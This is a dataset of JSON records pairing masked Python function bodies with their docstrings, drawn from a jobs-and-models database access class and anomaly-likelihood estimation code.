{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobIncrementIntField(self, jobID, fieldName, increment=<NUM_LIT:1>,<EOL>useConnectionID=False):<DEDENT>", "body": "<EOL>dbFieldName = self._jobs.pubToDBNameDict[fieldName]<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>'% (self.jobsTableName, dbFieldName, dbFieldName)<EOL>sqlParams = [increment, jobID]<EOL>if useConnectionID:<EOL><INDENT>query += '<STR_LIT>'<EOL>sqlParams.append(self._connectionID)<EOL><DEDENT>result = conn.cursor.execute(query, sqlParams)<EOL><DEDENT>if result != <NUM_LIT:1>:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"\"<STR_LIT>\" % (<EOL>dbFieldName, jobID, self._connectionID, result, query))<EOL><DEDENT>", "docstring": "Incremet the value of 1 field in a job by increment. The 'fieldName' is\n        the public name of the field (camelBack, not the lower_case_only form as\n        stored in the DB).\n\n        This method is used for example by HypersearcWorkers to update the\n        engWorkerState field periodically. By qualifying on curValue, it insures\n        that only 1 worker at a time is elected to perform the next scheduled\n        periodic sweep of the models.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:        jobID of the job record to modify\n        fieldName:    public field name of the field\n        increment:    increment is added to the current value of the field", "id": "f17555:c1:m48"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def jobUpdateResults(self, jobID, results):<DEDENT>", "body": "with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>' % (self.jobsTableName,)<EOL>conn.cursor.execute(query, [results, jobID])<EOL><DEDENT>", "docstring": "Update the results string and last-update-time fields of a model.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:      job ID of model to modify\n        results:    new results (json dict string)", "id": "f17555:c1:m49"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def modelsClearAll(self):<DEDENT>", "body": "self._logger.info('<STR_LIT>',<EOL>self.modelsTableName)<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>' % (self.modelsTableName)<EOL>conn.cursor.execute(query)<EOL><DEDENT>", "docstring": "Delete all models from the models table\n\n        Parameters:\n        ----------------------------------------------------------------", "id": "f17555:c1:m50"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def modelInsertAndStart(self, jobID, params, paramsHash, particleHash=None):<DEDENT>", "body": "<EOL>if particleHash is None:<EOL><INDENT>particleHash = paramsHash<EOL><DEDENT>paramsHash = self._normalizeHash(paramsHash)<EOL>particleHash = self._normalizeHash(particleHash)<EOL>def findExactMatchNoRetries(conn):<EOL><INDENT>return self._getOneMatchingRowNoRetries(<EOL>self._models, conn,<EOL>{'<STR_LIT>':jobID, '<STR_LIT>':paramsHash,<EOL>'<STR_LIT>':particleHash},<EOL>['<STR_LIT>', '<STR_LIT>'])<EOL><DEDENT>@g_retrySQL<EOL>def findExactMatchWithRetries():<EOL><INDENT>with ConnectionFactory.get() as conn:<EOL><INDENT>return findExactMatchNoRetries(conn)<EOL><DEDENT><DEDENT>row = findExactMatchWithRetries()<EOL>if row is not None:<EOL><INDENT>return (row[<NUM_LIT:0>], False)<EOL><DEDENT>@g_retrySQL<EOL>def insertModelWithRetries():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.modelsTableName,)<EOL>sqlParams = (jobID, params, self.STATUS_RUNNING, paramsHash,<EOL>particleHash, self._connectionID)<EOL>try:<EOL><INDENT>numRowsAffected = conn.cursor.execute(query, sqlParams)<EOL><DEDENT>except Exception as e:<EOL><INDENT>if \"<STR_LIT>\" not in str(e):<EOL><INDENT>raise<EOL><DEDENT>self._logger.info('<STR_LIT>'<EOL>'<STR_LIT>',<EOL>jobID, paramsHash.encode('<STR_LIT>'),<EOL>particleHash.encode('<STR_LIT>'), e)<EOL><DEDENT>else:<EOL><INDENT>if numRowsAffected == <NUM_LIT:1>:<EOL><INDENT>conn.cursor.execute('<STR_LIT>')<EOL>modelID = conn.cursor.fetchall()[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>if modelID != <NUM_LIT:0>:<EOL><INDENT>return (modelID, True)<EOL><DEDENT>else:<EOL><INDENT>self._logger.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>jobID, paramsHash, particleHash)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._logger.error(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>numRowsAffected, jobID, paramsHash, particleHash)<EOL><DEDENT><DEDENT>row = findExactMatchNoRetries(conn)<EOL>if row is not None:<EOL><INDENT>(modelID, connectionID) = row<EOL>return (modelID, connectionID == self._connectionID)<EOL><DEDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.modelsTableName,)<EOL>sqlParams = [jobID, paramsHash, particleHash]<EOL>numRowsFound = conn.cursor.execute(query, sqlParams)<EOL>assert numRowsFound == <NUM_LIT:1>, (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>') % (jobID, paramsHash, particleHash, numRowsFound)<EOL>(modelID,) = conn.cursor.fetchall()[<NUM_LIT:0>]<EOL>return (modelID, False)<EOL><DEDENT><DEDENT>return insertModelWithRetries()<EOL>", "docstring": "Insert a new unique model (based on params) into the model table in the\n        \"running\" state. This will return two things: whether or not the model was\n        actually inserted (i.e. that set of params isn't already in the table) and\n        the modelID chosen for that set of params. Even if the model was not\n        inserted by this call (it was already there) the modelID of the one already\n        inserted is returned.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:            jobID of the job to add models for\n        params:           params for this model\n        paramsHash        hash of the params, generated by the worker\n        particleHash      hash of the particle info (for PSO). If not provided,\n                          then paramsHash will be used.\n\n        retval:           (modelID, wasInserted)\n                          modelID: the model ID for this set of params\n                          wasInserted: True if this call ended up inserting the\n                          new model. False if this set of params was already in\n                          the model table.", "id": "f17555:c1:m51"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def modelsInfo(self, modelIDs):<DEDENT>", "body": "assert isinstance(modelIDs, self._SEQUENCE_TYPES), (<EOL>\"<STR_LIT>\") % (type(modelIDs),)<EOL>assert modelIDs, \"<STR_LIT>\"<EOL>rows = self._getMatchingRowsWithRetries(<EOL>self._models, dict(model_id=modelIDs),<EOL>[self._models.pubToDBNameDict[f]<EOL>for f in self._models.modelInfoNamedTuple._fields])<EOL>results = [self._models.modelInfoNamedTuple._make(r) for r in rows]<EOL>assert len(results) == len(modelIDs), \"<STR_LIT>\" % (<EOL>set(modelIDs) - set(r.modelId for r in results))<EOL>return results<EOL>", "docstring": "Get ALL info for a set of models\n\n        WARNING!!!: The order of the results are NOT necessarily in the same order as\n        the order of the model IDs passed in!!!\n\n        Parameters:\n        ----------------------------------------------------------------\n        modelIDs:    list of model IDs\n        retval:      list of nametuples containing all the fields stored for each\n                        model.", "id": "f17555:c1:m52"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def modelsGetFields(self, modelIDs, fields):<DEDENT>", "body": "assert len(fields) >= <NUM_LIT:1>, '<STR_LIT>'<EOL>isSequence = isinstance(modelIDs, self._SEQUENCE_TYPES)<EOL>if isSequence:<EOL><INDENT>assert len(modelIDs) >=<NUM_LIT:1>, '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>modelIDs = [modelIDs]<EOL><DEDENT>rows = self._getMatchingRowsWithRetries(<EOL>self._models, dict(model_id=modelIDs),<EOL>['<STR_LIT>'] + [self._models.pubToDBNameDict[f] for f in fields])<EOL>if len(rows) < len(modelIDs):<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\" % (<EOL>(set(modelIDs) - set(r[<NUM_LIT:0>] for r in rows)),))<EOL><DEDENT>if not isSequence:<EOL><INDENT>return list(rows[<NUM_LIT:0>][<NUM_LIT:1>:])<EOL><DEDENT>return [(r[<NUM_LIT:0>], list(r[<NUM_LIT:1>:])) for r in rows]<EOL>", "docstring": "Fetch the values of 1 or more fields from a sequence of model records.\n        Here, 'fields' is a list with the names of the fields to fetch. The names\n        are the public names of the fields (camelBack, not the lower_case_only form\n        as stored in the DB).\n\n        WARNING!!!: The order of the results are NOT necessarily in the same order\n        as the order of the model IDs passed in!!!\n\n\n        Parameters:\n        ----------------------------------------------------------------\n        modelIDs:      A single modelID or sequence of modelIDs\n        fields:        A list  of fields to return\n\n        Returns:  If modelIDs is a sequence:\n                    a list of tuples->(modelID, [field1, field2,...])\n                  If modelIDs is a single modelID:\n                    a list of field values->[field1, field2,...]", "id": "f17555:c1:m53"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def modelsGetFieldsForJob(self, jobID, fields, ignoreKilled=False):<DEDENT>", "body": "assert len(fields) >= <NUM_LIT:1>, '<STR_LIT>'<EOL>dbFields = [self._models.pubToDBNameDict[x] for x in fields]<EOL>dbFieldsStr = '<STR_LIT:U+002C>'.join(dbFields)<EOL>query = '<STR_LIT>''<STR_LIT>'% (dbFieldsStr, self.modelsTableName)<EOL>sqlParams = [jobID]<EOL>if ignoreKilled:<EOL><INDENT>query += '<STR_LIT>'<EOL>sqlParams.append(self.CMPL_REASON_KILLED)<EOL><DEDENT>with ConnectionFactory.get() as conn:<EOL><INDENT>conn.cursor.execute(query, sqlParams)<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>if rows is None:<EOL><INDENT>self._logger.error(\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>query, traceback.format_exc())<EOL><DEDENT>return [(r[<NUM_LIT:0>], list(r[<NUM_LIT:1>:])) for r in rows]<EOL>", "docstring": "Gets the specified fields for all the models for a single job. This is\n        similar to modelsGetFields\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:              jobID for the models to be searched\n        fields:             A list  of fields to return\n        ignoreKilled:       (True/False). If True, this will ignore models that\n                            have been killed\n\n        Returns: a (possibly empty) list of tuples as follows\n          [\n            (model_id1, [field1, ..., fieldn]),\n            (model_id2, [field1, ..., fieldn]),\n            (model_id3, [field1, ..., fieldn])\n                        ...\n          ]\n\n        NOTE: since there is a window of time between a job getting inserted into\n         jobs table and the job's worker(s) starting up and creating models, an\n         empty-list result is one of the normal outcomes.", "id": "f17555:c1:m54"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def modelsGetFieldsForCheckpointed(self, jobID, fields):<DEDENT>", "body": "assert len(fields) >= <NUM_LIT:1>, \"<STR_LIT>\"<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>dbFields = [self._models.pubToDBNameDict[f] for f in fields]<EOL>dbFieldStr = \"<STR_LIT:U+002CU+0020>\".join(dbFields)<EOL>query = '<STR_LIT>''<STR_LIT>'.format(<EOL>fields=dbFieldStr, models=self.modelsTableName)<EOL>conn.cursor.execute(query, [jobID])<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>return [(r[<NUM_LIT:0>], list(r[<NUM_LIT:1>:])) for r in rows]<EOL>", "docstring": "Gets fields from all models in a job that have been checkpointed. This is\nused to figure out whether or not a new model should be checkpointed.\n\nParameters:\n-----------------------------------------------------------------------\njobID:                    The jobID for the models to be searched\nfields:                   A list of fields to return\n\nReturns: a (possibly-empty) list of tuples as follows\n  [\n    (model_id1, [field1, ..., fieldn]),\n    (model_id2, [field1, ..., fieldn]),\n    (model_id3, [field1, ..., fieldn])\n                ...\n  ]", "id": "f17555:c1:m55"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def modelSetFields(self, modelID, fields, ignoreUnchanged = False):<DEDENT>", "body": "<EOL>assignmentExpressions = '<STR_LIT:U+002C>'.join(<EOL>'<STR_LIT>' % (self._models.pubToDBNameDict[f],) for f in fields.keys())<EOL>assignmentValues = list(fields.values())<EOL>query = '<STR_LIT>''<STR_LIT>'% (self.modelsTableName, assignmentExpressions)<EOL>sqlParams = assignmentValues + [modelID]<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>numAffectedRows = conn.cursor.execute(query, sqlParams)<EOL>self._logger.debug(\"<STR_LIT>\",<EOL>numAffectedRows, query, sqlParams)<EOL><DEDENT>if numAffectedRows != <NUM_LIT:1> and not ignoreUnchanged:<EOL><INDENT>raise RuntimeError(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (<EOL>fields, modelID, self._connectionID, numAffectedRows, query,<EOL>sqlParams,))<EOL><DEDENT>", "docstring": "Change the values of 1 or more fields in a model. Here, 'fields' is a\n        dict with the name/value pairs to change. The names are the public names of\n        the fields (camelBack, not the lower_case_only form as stored in the DB).\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:     jobID of the job record\n\n        fields:    dictionary of fields to change\n\n        ignoreUnchanged: The default behavior is to throw a\n        RuntimeError if no rows are affected. This could either be\n        because:\n          1) Because there was no matching modelID\n          2) or if the data to update matched the data in the DB exactly.\n\n        Set this parameter to True if you expect case 2 and wish to\n        supress the error.", "id": "f17555:c1:m56"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def modelsGetParams(self, modelIDs):<DEDENT>", "body": "assert isinstance(modelIDs, self._SEQUENCE_TYPES), (<EOL>\"<STR_LIT>\") % (type(modelIDs),)<EOL>assert len(modelIDs) >= <NUM_LIT:1>, \"<STR_LIT>\"<EOL>rows = self._getMatchingRowsWithRetries(<EOL>self._models, {'<STR_LIT>' : modelIDs},<EOL>[self._models.pubToDBNameDict[f]<EOL>for f in self._models.getParamsNamedTuple._fields])<EOL>assert len(rows) == len(modelIDs), \"<STR_LIT>\" % (<EOL>(set(modelIDs) - set(r[<NUM_LIT:0>] for r in rows)),)<EOL>return [self._models.getParamsNamedTuple._make(r) for r in rows]<EOL>", "docstring": "Get the params and paramsHash for a set of models.\n\n        WARNING!!!: The order of the results are NOT necessarily in the same order as\n        the order of the model IDs passed in!!!\n\n        Parameters:\n        ----------------------------------------------------------------\n        modelIDs:    list of model IDs\n        retval:      list of result namedtuples defined in\n                      ClientJobsDAO._models.getParamsNamedTuple. Each tuple\n                      contains: (modelId, params, engParamsHash)", "id": "f17555:c1:m57"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def modelsGetResultAndStatus(self, modelIDs):<DEDENT>", "body": "assert isinstance(modelIDs, self._SEQUENCE_TYPES), (<EOL>\"<STR_LIT>\") % type(modelIDs)<EOL>assert len(modelIDs) >= <NUM_LIT:1>, \"<STR_LIT>\"<EOL>rows = self._getMatchingRowsWithRetries(<EOL>self._models, {'<STR_LIT>' : modelIDs},<EOL>[self._models.pubToDBNameDict[f]<EOL>for f in self._models.getResultAndStatusNamedTuple._fields])<EOL>assert len(rows) == len(modelIDs), \"<STR_LIT>\" % (<EOL>(set(modelIDs) - set(r[<NUM_LIT:0>] for r in rows)),)<EOL>return [self._models.getResultAndStatusNamedTuple._make(r) for r in rows]<EOL>", "docstring": "Get the results string and other status fields for a set of models.\n\n        WARNING!!!: The order of the results are NOT necessarily in the same order\n        as the order of the model IDs passed in!!!\n\n        For each model, this returns a tuple containing:\n         (modelID, results, status, updateCounter, numRecords, completionReason,\n             completionMsg, engParamsHash\n\n        Parameters:\n        ----------------------------------------------------------------\n        modelIDs:    list of model IDs\n        retval:      list of result tuples. Each tuple contains:\n                        (modelID, results, status, updateCounter, numRecords,\n                          completionReason, completionMsg, engParamsHash)", "id": "f17555:c1:m58"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def modelsGetUpdateCounters(self, jobID):<DEDENT>", "body": "rows = self._getMatchingRowsWithRetries(<EOL>self._models, {'<STR_LIT>' : jobID},<EOL>[self._models.pubToDBNameDict[f]<EOL>for f in self._models.getUpdateCountersNamedTuple._fields])<EOL>return [self._models.getUpdateCountersNamedTuple._make(r) for r in rows]<EOL>", "docstring": "Return info on all of the models that are in already in the models\n        table for a given job. For each model, this returns a tuple\n        containing: (modelID, updateCounter).\n\n        Note that we don't return the results for all models, since the results\n        string could be quite large. The information we are returning is\n        just 2 integer fields.\n\n        Parameters:\n        ----------------------------------------------------------------\n        jobID:      jobID to query\n        retval:     (possibly empty) list of tuples. Each tuple contains:\n                      (modelID, updateCounter)", "id": "f17555:c1:m59"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def modelUpdateResults(self, modelID, results=None, metricValue =None,<EOL>numRecords=None):<DEDENT>", "body": "assignmentExpressions = ['<STR_LIT>',<EOL>'<STR_LIT>']<EOL>assignmentValues = []<EOL>if results is not None:<EOL><INDENT>assignmentExpressions.append('<STR_LIT>')<EOL>assignmentValues.append(results)<EOL><DEDENT>if numRecords is not None:<EOL><INDENT>assignmentExpressions.append('<STR_LIT>')<EOL>assignmentValues.append(numRecords)<EOL><DEDENT>if metricValue is not None and (metricValue==metricValue):<EOL><INDENT>assignmentExpressions.append('<STR_LIT>')<EOL>assignmentValues.append(float(metricValue))<EOL><DEDENT>query = '<STR_LIT>''<STR_LIT>'% (self.modelsTableName, '<STR_LIT:U+002C>'.join(assignmentExpressions))<EOL>sqlParams = assignmentValues + [modelID, self._connectionID]<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>numRowsAffected = conn.cursor.execute(query, sqlParams)<EOL><DEDENT>if numRowsAffected != <NUM_LIT:1>:<EOL><INDENT>raise InvalidConnectionException(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (modelID,self._connectionID, numRowsAffected,))<EOL><DEDENT>", "docstring": "Update the results string, and/or num_records fields of\n        a model. This will fail if the model does not currently belong to this\n        client (connection_id doesn't match).\n\n        Parameters:\n        ----------------------------------------------------------------\n        modelID:      model ID of model to modify\n        results:      new results, or None to ignore\n        metricValue:  the value of the metric being optimized, or None to ignore\n        numRecords:   new numRecords, or None to ignore", "id": "f17555:c1:m60"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>@g_retrySQL<EOL>def modelSetCompleted(self, modelID, completionReason, completionMsg,<EOL>cpuTime=<NUM_LIT:0>, useConnectionID=True):<DEDENT>", "body": "if completionMsg is None:<EOL><INDENT>completionMsg = '<STR_LIT>'<EOL><DEDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.modelsTableName,)<EOL>sqlParams = [self.STATUS_COMPLETED, completionReason, completionMsg,<EOL>cpuTime, modelID]<EOL>if useConnectionID:<EOL><INDENT>query += \"<STR_LIT>\"<EOL>sqlParams.append(self._connectionID)<EOL><DEDENT>with ConnectionFactory.get() as conn:<EOL><INDENT>numRowsAffected = conn.cursor.execute(query, sqlParams)<EOL><DEDENT>if numRowsAffected != <NUM_LIT:1>:<EOL><INDENT>raise InvalidConnectionException(<EOL>(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\") % (modelID, self._connectionID, numRowsAffected))<EOL><DEDENT>", "docstring": "Mark a model as completed, with the given completionReason and\n        completionMsg. This will fail if the model does not currently belong to this\n        client (connection_id doesn't match).\n\n        Parameters:\n        ----------------------------------------------------------------\n        modelID:             model ID of model to modify\n        completionReason:    completionReason string\n        completionMsg:       completionMsg string\n        cpuTime:             amount of CPU time spent on this model\n        useConnectionID:     True if the connection id of the calling function\n                              must be the same as the connection that created the\n                              job. Set to True for hypersearch workers, which use\n                              this mechanism for orphaned model detection.", "id": "f17555:c1:m62"}
{"signature": "@logExceptions(_LOGGER)<EOL><INDENT>def modelAdoptNextOrphan(self, jobId, maxUpdateInterval):<DEDENT>", "body": "@g_retrySQL<EOL>def findCandidateModelWithRetries():<EOL><INDENT>modelID = None<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.modelsTableName,)<EOL>sqlParams = [self.STATUS_RUNNING, jobId, maxUpdateInterval]<EOL>numRows = conn.cursor.execute(query, sqlParams)<EOL>rows = conn.cursor.fetchall()<EOL><DEDENT>assert numRows <= <NUM_LIT:1>, \"<STR_LIT>\" % numRows<EOL>if numRows == <NUM_LIT:1>:<EOL><INDENT>(modelID,) = rows[<NUM_LIT:0>]<EOL><DEDENT>return modelID<EOL><DEDENT>@g_retrySQL<EOL>def adoptModelWithRetries(modelID):<EOL><INDENT>adopted = False<EOL>with ConnectionFactory.get() as conn:<EOL><INDENT>query = '<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>''<STR_LIT>'% (self.modelsTableName,)<EOL>sqlParams = [self._connectionID, modelID, self.STATUS_RUNNING,<EOL>maxUpdateInterval]<EOL>numRowsAffected = conn.cursor.execute(query, sqlParams)<EOL>assert numRowsAffected <= <NUM_LIT:1>, '<STR_LIT>' % (<EOL>numRowsAffected,)<EOL>if numRowsAffected == <NUM_LIT:1>:<EOL><INDENT>adopted = True<EOL><DEDENT>else:<EOL><INDENT>(status, connectionID) = self._getOneMatchingRowNoRetries(<EOL>self._models, conn, {'<STR_LIT>':modelID},<EOL>['<STR_LIT:status>', '<STR_LIT>'])<EOL>adopted = (status == self.STATUS_RUNNING and<EOL>connectionID == self._connectionID)<EOL><DEDENT><DEDENT>return adopted<EOL><DEDENT>adoptedModelID = None<EOL>while True:<EOL><INDENT>modelID = findCandidateModelWithRetries()<EOL>if modelID is None:<EOL><INDENT>break<EOL><DEDENT>if adoptModelWithRetries(modelID):<EOL><INDENT>adoptedModelID = modelID<EOL>break<EOL><DEDENT><DEDENT>return adoptedModelID<EOL>", "docstring": "Look through the models table for an orphaned model, which is a model\n        that is not completed yet, whose _eng_last_update_time is more than\n        maxUpdateInterval seconds ago.\n\n        If one is found, change its _eng_worker_conn_id to the current worker's\n        and return the model id.\n\n        Parameters:\n        ----------------------------------------------------------------\n        retval:    modelId of the model we adopted, or None if none found", "id": "f17555:c1:m63"}
{"signature": "def estimateAnomalyLikelihoods(anomalyScores,<EOL>averagingWindow=<NUM_LIT:10>,<EOL>skipRecords=<NUM_LIT:0>,<EOL>verbosity=<NUM_LIT:0>):", "body": "if verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", len(anomalyScores))<EOL>print(\"<STR_LIT>\", skipRecords)<EOL>print(\"<STR_LIT>\", anomalyScores[<NUM_LIT:0>:min(<NUM_LIT:20>, len(anomalyScores))])<EOL><DEDENT>if len(anomalyScores) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>aggRecordList, historicalValues, total =  _anomalyScoreMovingAverage(<EOL>anomalyScores,<EOL>windowSize = averagingWindow,<EOL>verbosity = verbosity)<EOL>s = [r[<NUM_LIT:2>] for r in aggRecordList]<EOL>dataValues = numpy.array(s)<EOL>if len(aggRecordList) <= skipRecords:<EOL><INDENT>distributionParams = nullDistribution(verbosity = verbosity)<EOL><DEDENT>else:<EOL><INDENT>distributionParams = estimateNormal(dataValues[skipRecords:])<EOL>s = [r[<NUM_LIT:1>] for r in aggRecordList]<EOL>if all([isinstance(r[<NUM_LIT:1>], numbers.Number) for r in aggRecordList]):<EOL><INDENT>metricValues = numpy.array(s)<EOL>metricDistribution = estimateNormal(metricValues[skipRecords:],<EOL>performLowerBoundCheck=False)<EOL>if metricDistribution[\"<STR_LIT>\"] < <NUM_LIT>:<EOL><INDENT>distributionParams = nullDistribution(verbosity = verbosity)<EOL><DEDENT><DEDENT><DEDENT>likelihoods = numpy.array(dataValues, dtype=float)<EOL>for i, s in enumerate(dataValues):<EOL><INDENT>likelihoods[i] = tailProbability(s, distributionParams)<EOL><DEDENT>filteredLikelihoods = numpy.array(<EOL>_filterLikelihoods(likelihoods) )<EOL>params = {<EOL>\"<STR_LIT>\":       distributionParams,<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": historicalValues,<EOL>\"<STR_LIT>\":            total,<EOL>\"<STR_LIT>\":       averagingWindow,<EOL>},<EOL>\"<STR_LIT>\":<EOL>list(likelihoods[-min(averagingWindow, len(likelihoods)):]),<EOL>}<EOL>if verbosity > <NUM_LIT:1>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(params)<EOL>print(\"<STR_LIT>\", len(likelihoods))<EOL>print(\"<STR_LIT>\", (<EOL>filteredLikelihoods[<NUM_LIT:0>:min(<NUM_LIT:20>, len(filteredLikelihoods))] ))<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>return (filteredLikelihoods, aggRecordList, params)<EOL>", "docstring": "Given a series of anomaly scores, compute the likelihood for each score. This\nfunction should be called once on a bunch of historical anomaly scores for an\ninitial estimate of the distribution. It should be called again every so often\n(say every 50 records) to update the estimate.\n\n:param anomalyScores: a list of records. Each record is a list with the\n                      following three elements: [timestamp, value, score]\n\n                      Example::\n\n                          [datetime.datetime(2013, 8, 10, 23, 0), 6.0, 1.0]\n\n                      For best results, the list should be between 1000\n                      and 10,000 records\n:param averagingWindow: integer number of records to average over\n:param skipRecords: integer specifying number of records to skip when\n                    estimating distributions. If skip records are >=\n                    len(anomalyScores), a very broad distribution is returned\n                    that makes everything pretty likely.\n:param verbosity: integer controlling extent of printouts for debugging\n\n                    0 = none\n                    1 = occasional information\n                    2 = print every record\n\n:returns: 3-tuple consisting of:\n\n          - likelihoods\n\n            numpy array of likelihoods, one for each aggregated point\n\n          - avgRecordList\n\n            list of averaged input records\n\n          - params\n\n            a small JSON dict that contains the state of the estimator", "id": "f17556:m0"}
{"signature": "def updateAnomalyLikelihoods(anomalyScores,<EOL>params,<EOL>verbosity=<NUM_LIT:0>):", "body": "if verbosity > <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>print(\"<STR_LIT>\", len(anomalyScores))<EOL>print(\"<STR_LIT>\", anomalyScores[<NUM_LIT:0>:min(<NUM_LIT:20>, len(anomalyScores))])<EOL>print(\"<STR_LIT>\", params)<EOL><DEDENT>if len(anomalyScores) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not isValidEstimatorParams(params):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" not in params:<EOL><INDENT>params[\"<STR_LIT>\"] = [<NUM_LIT:1.0>]<EOL><DEDENT>historicalValues  = params[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>total             = params[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>windowSize        = params[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>aggRecordList = numpy.zeros(len(anomalyScores), dtype=float)<EOL>likelihoods = numpy.zeros(len(anomalyScores), dtype=float)<EOL>for i, v in enumerate(anomalyScores):<EOL><INDENT>newAverage, historicalValues, total = (<EOL>MovingAverage.compute(historicalValues, total, v[<NUM_LIT:2>], windowSize)<EOL>)<EOL>aggRecordList[i] = newAverage<EOL>likelihoods[i]   = tailProbability(newAverage, params[\"<STR_LIT>\"])<EOL><DEDENT>likelihoods2 = params[\"<STR_LIT>\"] + list(likelihoods)<EOL>filteredLikelihoods = _filterLikelihoods(likelihoods2)<EOL>likelihoods[:] = filteredLikelihoods[-len(likelihoods):]<EOL>historicalLikelihoods = likelihoods2[-min(windowSize, len(likelihoods2)):]<EOL>newParams = {<EOL>\"<STR_LIT>\": params[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": {<EOL>\"<STR_LIT>\": historicalValues,<EOL>\"<STR_LIT>\": total,<EOL>\"<STR_LIT>\": windowSize,<EOL>},<EOL>\"<STR_LIT>\": historicalLikelihoods,<EOL>}<EOL>assert len(newParams[\"<STR_LIT>\"]) <= windowSize<EOL>if verbosity > <NUM_LIT:3>:<EOL><INDENT>print(\"<STR_LIT>\", len(likelihoods))<EOL>print(\"<STR_LIT>\", likelihoods[<NUM_LIT:0>:min(<NUM_LIT:20>, len(likelihoods))])<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>return (likelihoods, aggRecordList, newParams)<EOL>", "docstring": "Compute updated probabilities for anomalyScores using the given params.\n\n:param anomalyScores: a list of records. Each record is a list with the\n                      following three elements: [timestamp, value, score]\n\n                      Example::\n\n                          [datetime.datetime(2013, 8, 10, 23, 0), 6.0, 1.0]\n\n:param params: the JSON dict returned by estimateAnomalyLikelihoods\n:param verbosity: integer controlling extent of printouts for debugging\n:type verbosity: int\n\n:returns: 3-tuple consisting of:\n\n          - likelihoods\n\n            numpy array of likelihoods, one for each aggregated point\n\n          - avgRecordList\n\n            list of averaged input records\n\n          - params\n\n            an updated JSON object containing the state of this metric.", "id": "f17556:m1"}
